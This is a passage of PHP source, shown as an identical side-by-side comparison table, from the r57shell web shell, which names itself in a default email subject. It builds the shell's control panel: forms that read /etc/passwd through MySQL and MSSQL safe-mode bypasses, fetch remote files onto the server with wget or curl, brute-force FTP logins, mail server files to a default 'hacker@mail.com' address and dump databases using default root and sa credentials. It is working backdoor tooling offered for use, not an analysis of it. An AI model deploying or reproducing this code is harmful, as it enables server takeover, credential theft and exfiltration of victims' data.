| 2139 | echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); | 2139 | echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); |
| 2140 | echo $te.'</div>'.$table_end1.$fe; | 2140 | echo $te.'</div>'.$table_end1.$fe; |
| 2141 | } | 2141 | } |
| 2142 | if($safe_mode) | 2142 | if($safe_mode) |
| 2143 | { | 2143 | { |
| 2144 | echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; | 2144 | echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; |
| 2145 | echo "<table class=table1 width=100% align=center>"; | 2145 | echo "<table class=table1 width=100% align=center>"; |
| 2146 | echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); | 2146 | echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); |
| 2147 | echo $te.'</div>'.$table_end1.$fe; | 2147 | echo $te.'</div>'.$table_end1.$fe; |
| 2148 | } | 2148 | } |
| 2149 | if($safe_mode&&$mysql_on) | 2149 | if($safe_mode&&$mysql_on) |
| 2150 | { | 2150 | { |
| 2151 | echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; | 2151 | echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; |
| 2152 | echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); | 2152 | echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); |
| 2153 | echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); | 2153 | echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); |
| 2154 | echo $te.'</div>'.$table_end1.$fe; | 2154 | echo $te.'</div>'.$table_end1.$fe; |
| 2155 | } | 2155 | } |
| 2156 | if($safe_mode&&$mssql_on) | 2156 | if($safe_mode&&$mssql_on) |
| 2157 | { | 2157 | { |
| 2158 | echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; | 2158 | echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; |
| 2159 | echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); | 2159 | echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); |
| 2160 | echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); | 2160 | echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); |
| 2161 | echo $te.'</div>'.$table_end1.$fe; | 2161 | echo $te.'</div>'.$table_end1.$fe; |
| 2162 | } | 2162 | } |
| 2163 | if(@ini_get('file_uploads')){ | 2163 | if(@ini_get('file_uploads')){ |
| 2164 | echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; | 2164 | echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; |
| 2165 | echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; | 2165 | echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; |
| 2166 | echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); | 2166 | echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); |
| 2167 | echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); | 2167 | echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); |
| 2168 | echo $te.'</div>'.$table_end1.$fe; | 2168 | echo $te.'</div>'.$table_end1.$fe; |
| 2169 | } | 2169 | } |
| 2170 | if(!$safe_mode&&!$windows){ | 2170 | if(!$safe_mode&&!$windows){ |
| 2171 | echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; | 2171 | echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; |
| 2172 | echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); | 2172 | echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); |
| 2173 | echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); | 2173 | echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); |
| 2174 | echo $te.'</div>'.$table_end1.$fe; | 2174 | echo $te.'</div>'.$table_end1.$fe; |
| 2175 | } | 2175 | } |
| 2176 | echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; | 2176 | echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; |
| 2177 | echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); | 2177 | echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); |
| 2178 | $arh = $lang[$language.'_text92']; | 2178 | $arh = $lang[$language.'_text92']; |
| 2179 | if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } | 2179 | if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } |
| 2180 | if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } | 2180 | if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } |
| 2181 | 2181 | ||
| 2182 | if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } | 2182 | if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } |
| 2183 | echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); | 2183 | echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); |
| 2184 | echo $te.'</div>'.$table_end1.$fe; | 2184 | echo $te.'</div>'.$table_end1.$fe; |
| 2185 | if(@function_exists("ftp_connect")){ | 2185 | if(@function_exists("ftp_connect")){ |
| 2186 | echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; | 2186 | echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; |
| 2187 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; | 2187 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; |
| 2188 | echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); | 2188 | echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); |
| 2189 | echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); | 2189 | echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); |
| 2190 | echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); | 2190 | echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); |
| 2191 | echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); | 2191 | echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); |
| 2192 | echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); | 2192 | echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); |
| 2193 | echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); | 2193 | echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); |
| 2194 | echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); | 2194 | echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); |
| 2195 | echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; | 2195 | echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; |
| 2196 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; | 2196 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; |
| 2197 | echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); | 2197 | echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); |
| 2198 | echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); | 2198 | echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); |
| 2199 | echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); | 2199 | echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); |
| 2200 | echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); | 2200 | echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); |
| 2201 | echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); | 2201 | echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); |
| 2202 | echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); | 2202 | echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); |
| 2203 | echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); | 2203 | echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); |
| 2204 | echo $te."</td>".$fe."</tr></div></table>"; | 2204 | echo $te."</td>".$fe."</tr></div></table>"; |
| 2205 | } | 2205 | } |
| 2206 | if($unix && @function_exists("ftp_connect")){ | 2206 | if($unix && @function_exists("ftp_connect")){ |
| 2207 | echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; | 2207 | echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; |
| 2208 | echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); | 2208 | echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); |
| 2209 | echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); | 2209 | echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); |
| 2210 | echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); | 2210 | echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); |
| 2211 | echo $te.'</div>'.$table_end1.$fe; | 2211 | echo $te.'</div>'.$table_end1.$fe; |
| 2212 | } | 2212 | } |
| 2213 | if(@function_exists("mail")){ | 2213 | if(@function_exists("mail")){ |
| 2214 | echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; | 2214 | echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; |
| 2215 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; | 2215 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; |
| 2216 | echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); | 2216 | echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); |
| 2217 | echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); | 2217 | echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); |
| 2218 | echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); | 2218 | echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); |
| 2219 | echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); | 2219 | echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); |
| 2220 | echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); | 2220 | echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); |
| 2221 | echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; | 2221 | echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; |
| 2222 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; | 2222 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; |
| 2223 | echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); | 2223 | echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); |
| 2224 | echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); | 2224 | echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); |
| 2225 | echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); | 2225 | echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); |
| 2226 | echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); | 2226 | echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); |
| 2227 | $arh = $lang[$language.'_text92']; | 2227 | $arh = $lang[$language.'_text92']; |
| 2228 | if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } | 2228 | if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } |
| 2229 | if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } | 2229 | if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } |
| 2230 | if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } | 2230 | if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } |
| 2231 | echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); | 2231 | echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); |
| 2232 | echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); | 2232 | echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); |
| 2233 | echo $te."</td>".$fe."</tr></div></table>"; | 2233 | echo $te."</td>".$fe."</tr></div></table>"; |
| 2234 | } | 2234 | } |
| 2235 | if($mysql_on||$mssql_on||$pg_on||$ora_on) | 2235 | if($mysql_on||$mssql_on||$pg_on||$ora_on) |
| 2236 | { | 2236 | { |
| 2237 | $select = '<select name=db>'; | 2237 | $select = '<select name=db>'; |
| 2238 | if($mysql_on) $select .= '<option>MySQL</option>'; | 2238 | if($mysql_on) $select .= '<option>MySQL</option>'; |
| 2239 | if($mssql_on) $select .= '<option>MSSQL</option>'; | 2239 | if($mssql_on) $select .= '<option>MSSQL</option>'; |
| 2240 | if($pg_on) $select .= '<option>PostgreSQL</option>'; | 2240 | if($pg_on) $select .= '<option>PostgreSQL</option>'; |
| 2241 | if($ora_on) $select .= '<option>Oracle</option>'; | 2241 | if($ora_on) $select .= '<option>Oracle</option>'; |
| 2242 | $select .= '</select>'; | 2242 | $select .= '</select>'; |
| 2243 | echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; | 2243 | echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; |
| 2244 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text77']."</div></b></font>"; | 2244 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text77']."</div></b></font>"; |
| 2245 | echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); | 2245 | echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); |
| 2246 | echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); | 2246 | echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); |
| 2247 | echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); | 2247 | echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); |
| 2248 | echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); | 2248 | echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); |
| 2249 | echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); | 2249 | echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); |
| 2250 | echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1')); | 2250 | echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1')); |
| 2251 | echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); | 2251 | echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); |
| 2252 | echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; | 2252 | echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; |
| 2253 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; | 2253 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; |
| 2254 | echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); | 2254 | echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); |
| 2255 | echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); | 2255 | echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); |
| 2256 | echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); | 2256 | echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); |
| 2257 | echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); | 2257 | echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); |
| 2258 | echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); | 2258 | echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); |
| 2259 | echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); | 2259 | echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); |
